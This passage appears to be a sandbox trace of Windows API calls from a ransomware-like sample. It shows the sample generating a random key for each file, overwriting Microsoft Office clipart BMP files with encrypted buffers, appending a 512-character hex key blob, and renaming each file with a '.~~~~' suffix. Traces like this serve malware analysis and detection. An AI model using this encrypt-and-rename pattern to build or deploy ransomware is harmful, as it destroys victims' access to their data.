	[0095.197] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.197] CloseHandle (hObject=0x134) returned 1
	[0095.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0095.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.~~~~")) returned 1
	[0095.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0095.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0095.199] GetLastError () returned 0x0
	[0095.199] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0095.200] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.200] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0095.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0095.201] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21519067898) returned 1
	[0095.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa275cff0, dwHighDateTime=0x1d60e1e)) 
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3888a8
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3888a8 | out: hHeap=0x300000) returned 1
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0095.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f688
	[0095.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0095.201] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0095.201] GetLastError () returned 0x0
	[0095.202] GetLastError () returned 0x0
	[0095.202] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0095.202] GetLastError () returned 0x0
	[0095.202] GetLastError () returned 0x0
	[0095.207] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.207] WriteFile (in: hFile=0x134, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0095.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0095.208] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.208] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.208] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.209] CloseHandle (hObject=0x134) returned 1
	[0095.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0095.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.~~~~")) returned 1
	[0095.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0095.210] GetLastError () returned 0x0
	[0095.210] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0095.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0095.211] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0095.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0095.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0095.211] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21520153397) returned 1
	[0095.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa275cff0, dwHighDateTime=0x1d60e1e)) 
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0095.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0095.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f720
	[0095.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0095.212] GetLastError () returned 0x0
	[0095.212] GetLastError () returned 0x0
	[0095.212] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0095.212] GetLastError () returned 0x0
	[0095.213] GetLastError () returned 0x0
	[0095.225] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.225] WriteFile (in: hFile=0x134, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0095.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0095.226] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.226] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.226] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.226] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.226] CloseHandle (hObject=0x134) returned 1
	[0095.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0095.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.~~~~")) returned 1
	[0095.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0095.228] GetLastError () returned 0x0
	[0095.229] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0095.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.230] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0095.230] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21522000352) returned 1
	[0095.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa2783150, dwHighDateTime=0x1d60e1e)) 
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca08
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0095.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f850
	[0095.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0095.247] GetLastError () returned 0x0
	[0095.247] GetLastError () returned 0x0
	[0095.247] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0095.247] GetLastError () returned 0x0
	[0095.247] GetLastError () returned 0x0
	[0095.998] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.998] WriteFile (in: hFile=0x134, lpBuffer=0x294b070*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x294b070*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0095.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x294b070 | out: hHeap=0x300000) returned 1
	[0095.998] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.998] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.999] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.999] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.999] CloseHandle (hObject=0x134) returned 1
	[0095.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0095.999] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.~~~~")) returned 1
	[0096.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.000] GetLastError () returned 0x0
	[0096.000] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.001] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.001] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21599121882) returned 1
	[0096.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa2ef3610, dwHighDateTime=0x1d60e1e)) 
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aca88
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca88 | out: hHeap=0x300000) returned 1
	[0096.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f8e8
	[0096.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.002] GetLastError () returned 0x0
	[0096.002] GetLastError () returned 0x0
	[0096.002] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.002] GetLastError () returned 0x0
	[0096.002] GetLastError () returned 0x0
	[0096.044] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.044] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0096.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.045] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.045] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.045] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.045] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.046] CloseHandle (hObject=0x134) returned 1
	[0096.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.~~~~")) returned 1
	[0096.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.046] GetLastError () returned 0x0
	[0096.047] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.048] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.048] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21603783567) returned 1
	[0096.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa2f65a30, dwHighDateTime=0x1d60e1e)) 
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fbe0
	[0096.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.048] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.048] GetLastError () returned 0x0
	[0096.049] GetLastError () returned 0x0
	[0096.049] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.049] GetLastError () returned 0x0
	[0096.049] GetLastError () returned 0x0
	[0096.158] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff9688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.159] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x6978, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x6978, lpOverlapped=0x0) returned 1
	[0096.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.159] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.160] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
